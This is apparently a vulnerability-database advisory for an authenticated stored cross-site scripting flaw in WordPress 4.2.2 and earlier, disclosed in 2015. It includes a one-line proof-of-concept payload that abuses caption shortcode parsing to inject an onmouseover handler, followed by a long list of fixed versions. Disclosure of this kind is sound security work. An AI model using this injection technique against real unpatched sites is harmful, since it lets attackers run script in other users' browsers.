WordPress Vulnerabilities
WordPress <= 4.2.2 - Authenticated Stored Cross-Site Scripting (XSS)
Description
Authenticated Cross-Site Scripting (XSS) in post/page (text editor mode). Editor user and up.
Proof of Concept
<a href="[caption code=">]</a><a title=" onmouseover=alert('test') ">link</a>
Affects WordPress
Fixed in WordPress 3.8.9
Fixed in WordPress 3.8.9
Fixed in WordPress 3.7.9
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 4.2.3
Fixed in WordPress 3.9.7
Fixed in WordPress 3.9.7
Fixed in WordPress 3.7.9
Fixed in WordPress 3.8.9
Fixed in WordPress 3.8.9
Fixed in WordPress 3.9.7
Fixed in WordPress 4.0.6
Fixed in WordPress 4.1.6
Fixed in WordPress 4.1.6
Fixed in WordPress 4.2.3
Fixed in WordPress 3.9.7
Fixed in WordPress 4.1.6
Fixed in WordPress 4.2.3
Fixed in WordPress 4.0.6
Fixed in WordPress 4.1.6
Fixed in WordPress 4.1.6
Fixed in WordPress 4.1.6
Fixed in WordPress 3.8.9
Fixed in WordPress 3.7.9
Fixed in WordPress 3.8.9
Fixed in WordPress 3.8.9
Fixed in WordPress 3.8.9
Fixed in WordPress 3.8.9
Fixed in WordPress 3.9.7
Fixed in WordPress 3.9.7
Fixed in WordPress 3.9.7
Fixed in WordPress 4.2.3
Fixed in WordPress 4.0.6
Fixed in WordPress 4.0.6
Fixed in WordPress 4.0.6
Fixed in WordPress 4.0.6
Fixed in WordPress 3.7.9
Fixed in WordPress 3.7.9
Fixed in WordPress 3.7.9
Fixed in WordPress 3.7.9
References
Classification
Miscellaneous
Submitter
ethicalhack3r
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2015-07-23 (about 9 years ago)
Added
2015-07-23 (about 9 years ago)
Last Updated
2019-10-22 (about 4 years ago)